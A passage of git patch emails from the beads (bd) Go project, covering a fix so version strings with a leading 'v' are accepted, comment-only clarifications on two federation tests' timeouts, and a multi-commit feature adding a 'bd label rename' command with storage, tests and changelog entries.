read yesterday. IncludeInfra bool + + // IncludeEphemeral admits the EPHEMERAL PLANE — the wisps TABLE — and + // admits nothing else. It is the plane knob on its own: exactly the first + // of IncludeInfra's four changes, with none of the other three. + // + // It exists because there was no way to ask for that one thing. The write + // path routes on STORAGE CLASS, not type (dolt's useWispsTable is + // `Ephemeral || NoHistory || WispType != "" || IsInfraType`), so a + // no_history task lives in the wisps table while remaining ordinary durable + // work. Counting it needed IncludeInfra, which ALSO drops template rows of + // the named type — a silent undercount traded for a silent undercount. + // + // Same meaning as ListRequest.IncludeEphemeral (see issueops/reader.go): + // both admit the same PLANE under the same filters. It does NOT promise the + // two answers are equal — a count and a listing already differ on TEMPLATES + // without this flag, and still do with it. A count includes template rows + // unless IncludeInfra excludes them; a listing excludes them unless + // IncludeTemplates admits them. That predates this field and is unchanged by + // it; only IncludeInfra sets out to reconcile cardinality, and it pays for + // that with three changes beyond the plane. + // + // Unset, the count is durable-plane only: the historical answer, unchanged. + IncludeEphemeral bool } // CountResult is the cardinality of the matching set. From c8cc5c03fadb29e40f4d870aa35ac7c3c84551ae Mon Sep 17 00:00:00 2001 From: Alex Date: Tue, 29 Sep 2026 16:58:32 -0700 Subject: [PATCH 243/624] fix(doctor): accept a leading v in version strings (#6153) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(doctor): accept a leading v in version strings (be-snd) A build stamped from a Go pseudo-version reports "v1.1.1-0.2026…-", the canonical module spelling, and bd writes that main.Version into .local_version on every command. The version helpers parsed digits first, so the same binary's doctor then flagged the file it had just written ("Invalid version format in .local_version"), and a v-prefixed version compared as major 0. A prerelease suffix passed by accident (the leading digits of "0-rc" parse), so upstream release candidates never showed it; only v-stamped builds did. Strip an optional leading v before parsing in IsValidSemver, CompareVersions and ParseVersionParts. Versions without the prefix are unchanged; the table row that called "v1.2.3" an invalid format flips, deliberately. Prerelease ORDERING is out of scope: the comparison stays the dot-part parse it was. Reproduced on stock main (40b323245): the same build stamped with and without the v against a server-mode scratch store — warning vs "Version tracking active". Fixes #6152 Agent-Signature: claude-code-claude-fable-5-max on behalf of a3ackerman Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01D95BMAo3WieQDwPQMNWJ2e * fix(doctor): keep CompareVersions's doc comment on its declaration (be-snd) Review: stripVersionPrefix had landed between CompareVersions's doc comment and its func, so godoc hung the CompareVersions text on the helper and left CompareVersions undocumented. The helper now sits above that comment block; no behavior change. Agent-Signature: claude-code-claude-fable-5-1-max on behalf of A3Ackerman Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_015LrzRcJhWSUH6SnU64gtFE --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 8 ++++++++ cmd/bd/doctor/version.go | 17 +++++++++++++--- cmd/bd/doctor/version_test.go | 38 ++++++++++++++++++++++++++++++++++- 3 files changed, 59 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 09c26d636..9bc373c69 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **`bd doctor` no longer flags a `.local_version` that starts with `v`.** The + canonical spelling of a Go module version — and the string a build stamped + from a Go pseudo-version reports and writes into `.local_version` itself — + was rejected by the Version Tracking check (`Invalid version format`), and + read as major 0 in version comparisons, because the helpers parsed digits + first. They now accept an optional leading `v`; versions without it are + unchanged ([#6152](https://github.com/gastownhall/beads/issues/6152)). + - **The #6716 fan-in stall is fixed on the proxied-server route and the remaining store routes.** Two blockers of one dependent taken away at the same time (parallel workers closing both, or a close racing a diff --git a/cmd/bd/doctor/version.go b/cmd/bd/doctor/version.go index 567e31dc2..0735e97f1 100644 --- a/cmd/bd/doctor/version.go +++ b/cmd/bd/doctor/version.go @@ -270,13 +270,23 @@ func fetchLatestGitHubRelease() (string, error) { return version, nil } +// stripVersionPrefix drops the canonical "v" a Go module version carries +// ("v1.2.3", or the pseudo-version a build stamped from `go install +// module@version` reports). bd writes its own main.Version into +// .local_version, so a build stamped that way used to fail its own tracking +// check, and read as major 0 in comparisons (GH#6152). Versions without the +// prefix are unchanged. +func stripVersionPrefix(version string) string { + return strings.TrimPrefix(strings.TrimSpace(version), "v") +} + // CompareVersions compares two semantic version strings. // Returns: -1 if v1 < v2, 0 if v1 == v2, 1 if v1 > v2 // Handles versions like "0.20.1", "1.2.3", etc. func CompareVersions(v1, v2 string) int { // Split versions into parts - parts1 := strings.Split(v1, ".") - parts2 := strings.Split(v2, ".") + parts1 := strings.Split(stripVersionPrefix(v1), ".") + parts2 := strings.Split(stripVersionPrefix(v2), ".") // Compare each part maxLen := len(parts1) @@ -351,6 +361,7 @@ func IsBrewHeadVersion(version string) bool { // IsValidSemver checks if a version string is valid semver-like format (X.Y.Z) func IsValidSemver(version string) bool { + version = stripVersionPrefix(version) if version == "" { return false } @@ -381,7 +392,7 @@ func IsValidSemver(version string) bool { // ParseVersionParts parses version string into numeric parts // Returns [major, minor, patch, ...] or empty slice on error func ParseVersionParts(version string) []int { - parts := strings.Split(version, ".") + parts := strings.Split(stripVersionPrefix(version), ".") result := make([]int, 0, len(parts)) for _, part := range parts { diff --git a/cmd/bd/doctor/version_test.go b/cmd/bd/doctor/version_test.go index 8c1a391b4..4c02bf1c5 100644 --- a/cmd/bd/doctor/version_test.go +++ b/cmd/bd/doctor/version_test.go @@ -53,7 +53,9 @@ func TestIsValidSemver(t *testing.T) { {"valid large numbers", "100.200.300", true}, {"empty string", "", false}, {"invalid letters", "1.2.a", false}, - {"invalid format", "v1.2.3", false}, + // A leading "v" is the Go module spelling bd itself may stamp and + // write (GH#6152); it used to be rejected here. + {"leading v (Go module form)", "v1.2.3", true}, {"trailing dot", "1.2.", false}, {"leading dot", ".1.2", false}, {"double dots", "1..2", false}, @@ -432,3 +434,37 @@ func TestCheckMetadataVersionTracking_SinglePartVersion(t *testing.T) { }) } } + +// A leading "v" is the canonical spelling of a Go module version, and a build +// stamped from a Go pseudo-version reports it — bd writes that string into +// .local_version itself. The version helpers used to parse digits first, so +// "v1" read as invalid (and as 0 in comparisons) while a prerelease suffix +// passed by accident (gastownhall/beads#6152). +func TestVersionHelpersAcceptALeadingV(t *testing.T) { + for _, v := range []string{"v1.2.3", "1.2.3", "v1.1.1-0.20260805093327-bf97b73749ac", "1.3.0-rc.1", "v0.30.0"} { + if !IsValidSemver(v) { + t.Errorf("IsValidSemver(%q) = false, want true", v) + } + } + for _, v := range []string{"", "v", "abc", "1.2.x", "v.1.2"} { + if IsValidSemver(v) { + t.Errorf("IsValidSemver(%q) = true, want false", v) + } + } + for _, tt := range []struct { + v1, v2 string + want int + }{ + {"v1.2.3", "1.2.3", 0}, + {"v2.0.0", "1.9.9", 1}, + {"1.0.0", "v1.0.1", -1}, + {"v1.1.1-0.20260805093327-bf97b73749ac", "1.1.1-0.20260805093327-bf97b73749ac", 0}, + } { + if got := CompareVersions(tt.v1, tt.v2); got != tt.want { + t.Errorf("CompareVersions(%q, %q) = %d, want %d", tt.v1, tt.v2, got, tt.want) + } + } + if got := ParseVersionParts("v1.2.3"); len(got) != 3 || got[0] != 1 || got[1] != 2 || got[2] != 3 { + t.Errorf("ParseVersionParts(%q) = %v, want [1 2 3]", "v1.2.3", got) + } +} From 73c9944cdb04dd55e7da52de510d983cb4ec3222 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Tue, 29 Sep 2026 17:00:24 -0700 Subject: [PATCH 244/624] test(dolt): document contention-vs-bug verdict for 2 federation tests (#5996) * test(dolt): document contention-vs-bug verdict for 2 federation tests (be-72xld) Triaged 3 singleton real-server test failures flagged from PR #5836's test-server-storage-full job: - TestClaimerReclaimsAcrossSpellingWithoutWriting: already fixed upstream by PR #5856 (canonicalActor --/__ collapse). Passes in isolation on current main; no code change needed. - TestFederationListRemotes: resource-contention/timeout, not a bug. Passes in 0.11s isolated; this package serializes all tests through a size-2 shared-server slot semaphore (acquireTestSlot), which can exceed a test's context deadline under full-suite concurrent load without any assertion failing. Documented in place rather than masked with a timeout/semaphore workaround. - TestFederationSyncCommitsPendingPeerMetadataBeforeFetch: same verdict, same mechanism, same evidence class (0.16s isolated pass). Refs be-72xld. * docs(dolt): name the context that actually expires in these two tests Review #5996: the mechanism the comments named cannot produce the symptom. Both tests build their own context AFTER setupTestStore returns (federation_test.go), so the size-2 test-slot queue wait is already over and that context starts with a fresh minute. dolt_test.go's setupTestStore doc comment prescribes exactly that ordering to prevent the failure the comments were blaming. Verified on origin/main c0d8da42d: setupTestStore acquires its slot, then builds ctx via testContext(t) (the package testTimeout), then calls New() and initSchemaOnDB under it. A genuine deadline expiry in these tests therefore comes from that bound and surfaces as "failed to create Dolt store" or "failed to initialize branch-local ignored schema" attributed to the test -- not from the minute-long context in the test body. Rewords both blocks to name that context instead, and starts the second block with TestFederationSyncCommitsPendingPeerMetadataBeforeFetch so it reads correctly as that function's doc comment (reviewer nit). Comment-only; no behavior change. gofmt and go vet -tags integration clean. Refs be-vlg2c. --------- Co-authored-by: Gas City Merge Queue Co-authored-by: Claude Opus 5 --- internal/storage/dolt/federation_test.go | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/internal/storage/dolt/federation_test.go b/internal/storage/dolt/federation_test.go index c5f4e039a..2ad2cfd6c 100644 --- a/internal/storage/dolt/federation_test.go +++ b/internal/storage/dolt/federation_test.go @@ -348,7 +348,17 @@ func TestFederationHistoryQueries(t *testing.T) { } } -// TestFederationListRemotes tests the ListRemotes API +// TestFederationListRemotes tests the ListRemotes API. +// +// A "context deadline exceeded" reported against this test is not the context +// built below. That one is created AFTER setupTestStore returns, so the +// test-slot queue wait is already over and it starts with a fresh minute -- +// setupTestStore's doc comment in dolt_test.go prescribes that ordering for +// exactly this reason. The deadline that can genuinely expire here is +// setupTestStore's own testContext, the package-wide testTimeout, around +// New() and initSchemaOnDB; it surfaces as "failed to create Dolt store" or +// "failed to initialize branch-local ignored schema" attributed to this test +// rather than as a failure of any assertion below. func TestFederationListRemotes(t *testing.T) { skipIfNoDolt(t) @@ -412,6 +422,11 @@ func TestFederationSyncStatus(t *testing.T) { } } +// TestFederationSyncCommitsPendingPeerMetadataBeforeFetch has the same +// exposure as TestFederationListRemotes above: a "context deadline exceeded" +// attributed to it comes from setupTestStore's testTimeout around the store +// open, not from the minute-long context below and not from a defect in the +// sync/commit ordering. func TestFederationSyncCommitsPendingPeerMetadataBeforeFetch(t *testing.T) { skipIfNoDolt(t) From 63d8cc25226783ec0e97d5f8abd5f141098688ce Mon Sep 17 00:00:00 2001 From: Marco Del Pin Date: Wed, 30 Sep 2026 02:02:35 +0200 Subject: [PATCH 245/624] cmd/bd: bd label rename (stacked on #6007) (#6009) * storage: add RenameLabel primitive with merge semantics Add a storage primitive that renames a label across every issue and wisp that carries it, in one transaction per store. An issue that already carries the new label is a merge - the stale old-label row is dropped rather than raising a duplicate-key error - and the call reports renamed/merged counts plus every touched id. - internal/storage/issueops/labels.go: RenameLabelInTx sweeps the labels and wisp_labels tables (INSERT IGNORE then DELETE, so the merge never errors), emitting one EventLabelRenamed plus the usual full-snapshot journal row per touched issue/wisp, matching AddLabelInTx/RemoveLabelInTx's journal shape. A single batch event was considered and rejected: the journal-completeness guard requires every touched row to carry its own journal entry. - internal/storage/storage.go: RenameLabel added to the Storage interface, next to AddLabel/RemoveLabel/GetIssuesByLabel. - internal/storage/dolt, internal/storage/embeddeddolt: direct implementations. The dolt commit targets the fixed events/labels table pair; doltAddAndCommit's own HasStagedChanges guard skips it when the rename touched wisps only (wisp tables are dolt-ignored, same as AddLabel/RemoveLabel). - internal/storage/hook_decorator.go: HookFiringStore.RenameLabel fires on_update per touched issue, matching AddLabel/RemoveLabel. - internal/types/types.go: new EventLabelRenamed event type. Unlike EventLabelAdded/EventLabelRemoved, one rename produces exactly one of these per touched row, never a paired add+remove. - internal/jira/tracker_test.go: mock stub for the new interface method. Tests: internal/storage/dolt/label_rename_test.go, against a real dolt-sql-server container - basic rename, merge, wisp sweep, zero-carrier no-op, over-length refusal, event assertion. All green. Also verified TestEveryBeadMutatorJournalsOrIsExempt still passes. Gates: gofmt clean, go vet ./... clean, CGO_ENABLED=0 go test -tags gms_pure_go -c -o /dev/null ./cmd/bd clean, go build ./... clean. * storage: refuse RenameLabel(x, x) instead of wiping the label RenameLabelInTx's merge branch treats every carrier of oldLabel as already carrying newLabel when the two names collide (they are the same string): the batched INSERT IGNORE no-ops on every row, and the unconditional DELETE FROM
WHERE label = ? that follows then removes every row for that label plane. A self-rename silently wiped the label instead of leaving it untouched. Reject oldLabel == newLabel (compared after trimming, case-sensitive) before any write, returning the new ErrRenameLabelSameName. Verified red->green: TestRenameLabel_SameNameRefused and TestRenameLabel_SameNameAfterTrimRefused both fail (GetLabels returns [] on both the labels and wisp_labels planes) against the pre-fix code, and pass against the fix. Full TestRenameLabel* suite in internal/storage/dolt still green. * telemetry: instrument InstrumentedStorage.RenameLabel AddLabel and RemoveLabel already get OTel spans/metrics through InstrumentedStorage; RenameLabel had no override and so fell through to the embedded storage.DoltStorage passthrough, invisible to storage.* tracing. Add the override, mirroring the AddLabel/RemoveLabel shape: span attributes for the old/new label pair (bd.label.old, bd.label.new, matching the existing bd.dep.from/bd.dep.to pairing convention), and on success a bd.result.count / bd.merged.count pair following the SearchIssues-style "set result attributes after a successful call" pattern already used elsewhere in this file. * storage: document the O(N) round-trip cost of RenameLabelInTx's event loop renameLabelInPlane's per-issue loop (InsertDerivedEvent + RecordEventInTx) is O(len(oldIDs)) SQL round trips inside one transaction, up to four per touched issue. On a huge label population that lengthens the transaction and raises the odds an optimistic-concurrency retry has to redo the whole rename from scratch. No batching added: InsertDerivedEvent's dedup SELECT is a real cross-replica convergence check (Protocol v0.1 C2.3), not a redundant one this transaction could skip, and no batch primitive for this shape exists anywhere in this package - building one here would be new shared infrastructure grown for a single caller. AddLabelInTx/RemoveLabelInTx already pay the identical per-call cost for their one issue; this loop is that cost repeated once per touched issue. Documented inline as a disclosed limitation rather than silently left unremarked. * bda-lbjv: derive rename merge count from rows-affected, not a prior read renameLabelInPlane computed merged from a snapshot SELECT of newLabel's carriers taken before the INSERT IGNORE - a check-then-insert whose result is used. A concurrent AddLabel(issue, newLabel) committing between snapshot and insert made the reported count schedule-dependent while the stored data stayed correct (cross-model finding: the Opus panel cleared A1, codex flipped it to NOT-SAFE on exactly this line). Now the count is a measurement: INSERT IGNORE reports one affected row per id actually inserted, so merged = len(oldIDs) - inserted, and the newLabel pre-read is gone entirely. Tests: sqlmock scripts the racing schedule (insert sees a row the snapshot read could not); mutation control confirms the old implementation fails the new test. Full issueops package + live-store TestRenameLabel_* green. * bda-c77s: first-party coverage for EmbeddedDoltStore.RenameLabel The embedded impl had zero tests while DoltStore.RenameLabel carries a dedicated suite; AddLabel/RemoveLabel both have parallel embedded coverage by convention. Four wiring cases (basic, merge, zero-carrier no-op, same-name refusal) - the deep semantics stay pinned by the shared issueops suite and the dolt-side tests against the same implementation. BEADS_TEST_EMBEDDED_DOLT=1: 5 RUN, all green, 2.8s. * storage: scope the rename delete to the ids the sweep captured An unrestricted DELETE ... WHERE label = ? makes the sweep's blast radius engine-dependent: under current-read DELETE semantics a row a concurrent AddLabel(oldLabel) committed after this transaction's snapshot would be removed without ever being renamed, counted or journaled. Restricting the delete to the captured ids touches exactly the rows the INSERT IGNORE above accounted for on every engine; a concurrent add outside the snapshot now deterministically SURVIVES the rename - the same observable state as that add landing after the rename committed, which is the only order-independent reading of the race. sqlmock WithArgs pins the id-scoped statement shape; the embedded-Dolt lifecycle set stays green (5/5). * cmd/bd: add `bd label rename ` with dry-run preview Wire the storage.RenameLabel primitive (previous commit) into a CLI command that renames a label everywhere it appears in one call instead of a per-issue add-then-remove loop. - cmd/bd/label.go: `bd label rename [--dry-run]`. validateLabelRename refuses empty/identical labels and the 'provides:' reserved prefix before any store call - it is a pure function so those rules are testable without a store. --dry-run previews the blast radius (count plus the first issues) read-only, via a path kept separate from the write path so it can never reach a transaction. - cmd/bd/label_proxied_server.go: the proxied-server route composes the existing per-issue LabelUseCase.AddLabel/RemoveLabel (and wisp twins) in one uow.RunTx, the same fan-out shape label propagate already uses on this route. It journals as an add/remove pair per issue rather than the direct route's single EventLabelRenamed, because LabelUseCase has no rename-shaped event; the rename semantics (merge-on-collision, honest zero-carrier no-op, dry-run preview) are identical on both routes. - docs/core-concepts/labels.md: documents rename, dry-run, and merge semantics under Label Management. Tests: cmd/bd/label_rename_test.go (pure argument-validation table test, no store needed) plus new subtests in cmd/bd/label_embedded_test.go covering the full CLI path - basic rename, merge, dry-run writes nothing, zero-carrier no-op, identical/empty/reserved-prefix refusals. All green. Gates: gofmt clean, go vet ./... clean, CGO_ENABLED=0 go test -tags gms_pure_go -c -o /dev/null ./cmd/bd clean, go build ./... clean. * cmd/bd,domain: emit label_renamed on the proxied route, not add+remove runLabelRenameProxiedServer used to fan a rename out into a per-issue AddLabel-then-RemoveLabel pair, journaling label_added/label_removed instead of one EventLabelRenamed - a divergence from the direct DoltStore/EmbeddedDoltStore route the upstream reviewer has already rejected for another PR touching the same class of proxied/direct split. Add domain.LabelUseCase.RenameLabel and domain.LabelSQLRepository. RenameLabel. The repository method delegates straight to issueops.RenameLabelInTx (r.runner satisfies issueops.DBTX structurally), so the proxied route is not merely the same SQL SHAPE as the direct one, it is the same function: identical merge semantics, the same ErrRenameLabelSameName refusal, and one EventLabelRenamed per touched issue. runLabelRenameProxiedServer now just calls uw.LabelUseCase().RenameLabel(...) inside its existing uow.RunTx. Declare recordingLabelUC.RenameLabel so the notifying unit of work records one update per touched issue/wisp (mirroring HookFiringStore.RenameLabel on the direct route) instead of silently recording nothing through the embedded interface - caught by the existing structural parity guard, TestRecordingLabelUseCaseCoversItsSurface, which fails on any domain.LabelUseCase method neither declared on recordingLabelUC nor exempted with a reason. Tests, verified red->green: - internal/storage/domain/db: TestLabelUseCase/RenameLabel adds 5 subtests. EmitsOneRenamedEventPerIssue is the direct regression test - reverting RenameLabel to a simulated add-then-remove fan-out reproduces exactly the pre-fix event counts (renamed=0, added=2, removed=1) it now asserts against (renamed=1, added=1, removed=0). - cmd/bd/label_proxied_integration_test.go: new "rename" subtest exercises `bd label rename` end to end through the real proxied server and asserts the same label_renamed/added/removed counts directly against the events table. - internal/storage/uow: TestRecordingLabelUseCaseCoversItsSurface goes red (RenameLabel inherited, records nothing) without the recordingLabelUC override and green with it. Full internal/storage/uow suite (287s) and the new domain/db and cmd/bd tests all pass. * cmd/bd: record commandDidWrite before the rename error return runLabelRename read renamed>0 into commandDidWrite only after the `if err != nil` early return, so a rename whose SQL side committed but whose store call also returned an error - the Dolt publication step failing after the working-set write landed - never marked the command as having written. The caller's deferred auto-commit would then skip creating a Dolt commit for a write that, on disk, actually happened. Move the commandDidWrite.Store(true) check ahead of the error check, matching applyLabelEdit's existing per-issue marking a few lines above in the same file. New test: TestRunLabelRename_CommandDidWriteSetBeforeErrorReturn wraps a real *dolt.DoltStore in a spy whose RenameLabel reports a publish failure (renamed>0, err!=nil) after delegating to the real rename, and asserts commandDidWrite is set despite the returned error. Verified red->green: reverting the ordering reproduces the exact failure this guards against. * bda-bnid: nolint:forbidigo on proxied bulk rename call The route delegates to domain.LabelUseCase.RenameLabel deliberately: one EventLabelRenamed per issue with identical merge semantics to the direct route. Patch.Labels (the lint's suggested remedy) would reintroduce the per-issue add/remove event divergence this delegation replaced. Matches the file's own convention (4 sibling nolints, same shape). Negative control: without the nolint golangci-lint forbidigo reports exactly this line; with it, 0 issues. * cmd/bd: address review on label rename (CHANGELOG entry, dry-run caveat, partial-failure count) Two blocking items from review (bee-ghosttrack, PR #6009): - Add the CHANGELOG entry for `bd label rename`, in the house voice used by the neighboring bd-label entries (bold lead sentence, PR link, dense explanatory prose on the merge/dry-run/partial-failure contract). - The `--dry-run` merged count is a plain snapshot intersection of two independent reads - exactly the check-then-count shape renameLabelInPlane's own comment documents rejecting for the write path, because it is schedule-dependent under a concurrent AddLabel/RemoveLabel. That is an acceptable estimate for a preview, but nothing said so: the command's Long text, the --dry-run flag help, and an inline comment at the computation site now all say the number is not authoritative. One non-blocking nit fixed (the other - hydrating full issue rows in the direct dry-run just to print 10 titles - is left alone; see below): - On a partial rename failure (renamed>0, err!=nil - e.g. a Dolt publication failure after the SQL side already committed) the command now reports how many issues were renamed and merged before the failure, instead of only the error. Mirrors the existing shape in conflicts.go's ResolveConflictRows handling ("resolved %d of %d conflict(s) before failing"). Left alone, and why: the GetIssuesByIDs-hydration nit. GetIssuesByLabel hydrates every matching issue via GetIssuesByIDs on both the old-label and new-label reads, which is wasteful on a label carrying 10k issues when the text-mode preview only prints 10. But the JSON-mode contract already returns every matching issue's id+title (not capped at the preview limit), so avoiding hydration only helps the text-mode path and would branch the two output modes apart for a marginal win on an uncommon case (a rename dry-run over a 10k-issue label). Not clean enough to do inline without its own test coverage and a decision about whether the JSON contract should change too - flagged in the review as skippable, so skipping it here. Verification: - go build ./... - clean - go vet ./cmd/bd/... - clean - gofmt -l cmd/bd/label.go - clean - go test ./cmd/bd/... -run 'Label|LabelRename' - all pass - BEADS_TEST_EMBEDDED_DOLT=1 go test ./cmd/bd/... -run 'TestEmbeddedLabel$' -v - all pass, including label_rename_basic/merge/dry_run_writes_nothing - BEADS_TEST_PROXIED_SERVER=1 BEADS_TEST_EMBEDDED_DOLT=1 go test ./cmd/bd/... -run TestProxiedServerLabel -v - all pass, including the "rename" subtest - BEADS_TEST_EMBEDDED_DOLT=1 go test ./internal/storage/issueops/... -run Rename -v - BEADS_TEST_EMBEDDED_DOLT=1 go test ./internal/storage/dolt/... -run Rename -v (live dolt-sql-server) - BEADS_TEST_EMBEDDED_DOLT=1 go test ./internal/storage/embeddeddolt/... -run Rename -v Co-Authored-By: Claude Opus 5 * cmd/bd: report an upper bound on a failed rename, not a landed count The partial-failure message asserted that renamed>0 means the SQL side committed. On both routes the counts are assigned inside the transaction closure (label_proxied_server.go RunTx, dolt/labels.go withRetryTx), so a Commit failure or retry exhaustion returns them holding the rolled-back attempt numbers - nothing landed, and the user read 'renamed 6 issue(s) before failing'. Retry exhaustion under a busy server is the likely failure for a bulk rename, so it misreported exactly when it fired. Now reports an upper bound. commandDidWrite keeps the same premise deliberately: it is fail-safe in the other direction. Co-Authored-By: Claude Opus 5 * cmd/bd: pin the partial-failure wording, and hedge the merged count too Round-3 review: the r2 correction rode unpinned. Nothing in the suite drives a failing rename with renamed > 0, so the whole TestEmbeddedLabel suite passed with the hunk reverted - the fix was unfalsifiable, which is the same defect class the correction itself was about. Extracts the sentence into labelRenamePartialFailureMessage, a pure function a test can assert on without inducing a mid-transaction failure, and pins it: the hedged phrasings must be present AND the two pre-correction phrasings must be absent. Mutation-checked - restoring the old wording turns it red on three assertions. Also the round-3 nit: (%d merged) was the one unhedged clause in a hedged sentence. It now reads (of which up to %d merged), so no number in the message asserts a write that may never have landed. Co-Authored-By: Claude Opus 5 * docs: retire the landed-count premise from the CHANGELOG too Round-4 review, MAJOR: the code retracted a premise and the CHANGELOG kept publishing it. The entry still said a partway failure 'reports how many issues were renamed and merged before the failure' - a landed count - while labelRenamePartialFailureMessage had already become an upper bound. The sentence carried the premise TWICE and the review named one: besides the count, its parenthetical offered 'a Dolt publication failure after the SQL side already committed' as the case, when the whole point of the correction is that renamed > 0 cannot distinguish that from a rollback. Rewrote both halves: the bound is explicit, and the two failure shapes are named as indistinguishable from the count alone. Also round-4 MINOR: the helper had been inserted between reportLabelRename's doc comment and its func, so the comment headed the wrong function and reportLabelRename was left undocumented. Moved back down. Not done, deliberately: the round-4 NIT that the pin covers the helper and not the call site. It is marked 'noting, not asking', and an unrequested fix is the one that ships a defect - this PR already demonstrated that. Co-Authored-By: Claude Opus 5 * CHANGELOG: move this PR's entry under [Unreleased] The 1.3.0 cut renamed the old [Unreleased] block, so these lines merged cleanly into a released section (gastownhall/beads#6643). Moved 31 line(s); the code is unchanged. * cmd/bd: register label rename in the proxied capability registry TestProxyCapabilityRegistryCoversCommandTree requires every command path to carry a proxied-server row. label rename has a proxied route (RunE hands the rename to runLabelRenameProxiedServer and the --dry-run preview to a proxied read UOW), so it joins its label siblings in proxyPermittedPaths. * storage: mint a version for every bead a label rename touches TestEveryBeadMutatorMintsOrIsExempt (added with #6650) fails on this PR: RenameLabelInTx writes the labels table but never reached RecordVersionInTx. A rename changes the label set - part of the durable snapshot - of every issue that carried oldLabel, whether it gained newLabel or already had it (merge), so each touched issue now mints one version row, the same gate AddLabelInTx/RemoveLabelInTx draw on a row that landed. RecordVersionInTx is already a no-op for wisps and when versioned history is disabled, and a rename nobody carries touches no id, so the no-op shape mints nothing. TestRenameLabelMintsOneVersionPerTouchedBead is the runtime twin of the static guard: plain rename +1, merge +1, untouched bead +0, a second rename with no carriers +0, current_revision equal to the row count. * build(bazel): list this PR's six new test files in their go_test srcs Generated-artifact drift repair, produced by the repository's own command (`make bazel-sync`) and inspected before committing, not hand-written. The PR adds six `_test.go` files and none were listed in their package's `go_test` srcs, so Bazel compiled each of those packages' test targets without them - green by omission. That was invisible on the pre-merge head because its CI predates the Bazel lanes entirely (zero `Bazel /` rows). This merge brings in e1b2e79484 (#6941), which makes those lanes feed the required gate, so the omission would now surface as a real red. Purely additive: 6 insertions, 0 deletions, `go_test` srcs only. No `go_library` srcs change is needed because every added file is a test, which is also why this cannot break the build the way a missing production source would. Verified: `make bazel-sync` is now a no-op against this tree (empty porcelain), and `bazel build //cmd/bd/... //internal/storage/... //internal/types/... //internal/telemetry/...` completes successfully - 3429 actions, 0 errors. --------- Co-authored-by: Marco Del Pin Co-authored-by: Claude Opus 5 Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 31 ++ cmd/bd/BUILD.bazel | 3 + cmd/bd/capability_registry.go | 2 +- cmd/bd/label.go | 246 ++++++++++++++ cmd/bd/label_embedded_test.go | 65 ++++ cmd/bd/label_proxied_integration_test.go | 53 +++ cmd/bd/label_proxied_server.go | 28 ++ cmd/bd/label_rename_message_test.go | 39 +++ cmd/bd/label_rename_publish_failure_test.go | 120 +++++++ cmd/bd/label_rename_test.go | 85 +++++ docs/core-concepts/labels.md | 23 ++ internal/jira/tracker_test.go | 3 + internal/storage/dolt/BUILD.bazel | 1 + internal/storage/dolt/label_rename_test.go | 321 ++++++++++++++++++ internal/storage/dolt/labels.go | 24 ++ internal/storage/domain/db/label.go | 12 + .../storage/domain/db/label_usecase_test.go | 116 +++++++ internal/storage/domain/label.go | 36 ++ internal/storage/embeddeddolt/BUILD.bazel | 1 + .../storage/embeddeddolt/label_rename_test.go | 184 ++++++++++ internal/storage/embeddeddolt/labels.go | 12 + internal/storage/hook_decorator.go | 13 + internal/storage/issueops/BUILD.bazel | 1 + .../issueops/journal_completeness_test.go | 1 + .../label_rename_merged_count_test.go | 130 +++++++ internal/storage/issueops/labels.go | 201 +++++++++++ internal/storage/storage.go | 13 + internal/storage/uow/notifying.go | 17 + internal/telemetry/storage.go | 17 + internal/types/types.go | 7 +- 30 files changed, 1803 insertions(+), 2 deletions(-) create mode 100644 cmd/bd/label_rename_message_test.go create mode 100644 cmd/bd/label_rename_publish_failure_test.go create mode 100644 cmd/bd/label_rename_test.go create mode 100644 internal/storage/dolt/label_rename_test.go create mode 100644 internal/storage/embeddeddolt/label_rename_test.go create mode 100644 internal/storage/issueops/label_rename_merged_count_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 9bc373c69..547ac33ed 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -411,6 +411,37 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ([#6023](https://github.com/gastownhall/beads/issues/6023)), so callers can count the same metadata-scoped set `bd list` returns without fetching every row. +- **`bd label rename ` fixes a label everywhere it appears, in one + command instead of a per-issue add-then-remove loop** + ([#6009](https://github.com/gastownhall/beads/pull/6009)). An issue that + already carries the new label doesn't error — the rename drops its stale + old label and counts the issue as a merge instead, reported honestly: + `Renamed label 'Backend' to 'backend': 6 issues (2 already had 'backend')`. + A label nothing carries is a clean no-op (`No issues found with label + 'Backend'`, exit 0). The sweep covers both planes, durable issues and + wisps, and the direct and proxied-server routes end at the same + `issueops.RenameLabelInTx` primitive — the proxied route journals through + `domain.LabelUseCase.RenameLabel` rather than a per-issue add+remove + fan-out, so merge semantics, the zero-carrier no-op, and the single + `label_renamed` event per touched row are identical on both. + + `--dry-run` previews the blast radius (a count and the first 10 issues, + all of them under `--json`) without writing anything, through a read-only + path kept apart from the write path so a preview can never reach a + transaction. Its `merged` count is a plain snapshot intersection of two + independent reads, though, not the write path's measured one: the real + rename derives `merged` from what its `INSERT IGNORE` actually affected, + specifically so a concurrent label add between two reads can't skew the + count, and the preview has no insert to measure against. Treat the + dry-run number as an estimate — the flag's own help text says so now too. + A rename that fails partway through reports an UPPER BOUND - up to how many + issues may have been renamed, and up to how many of those were merges - + rather than only the error. It cannot be a landed count: both routes assign + those numbers inside the transaction, so a rollback or an exhausted retry + returns them still describing an attempt that landed nothing. Only a Dolt + publication failure after the SQL side already committed is a genuine + partial, and the count alone cannot tell the two apart. + ### Fixed diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 96143f6ac..c75f22f04 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -826,6 +826,9 @@ go_test( "label_list_all_test.go", "label_normalization_test.go", "label_proxied_integration_test.go", + "label_rename_message_test.go", + "label_rename_publish_failure_test.go", + "label_rename_test.go", "label_test.go", 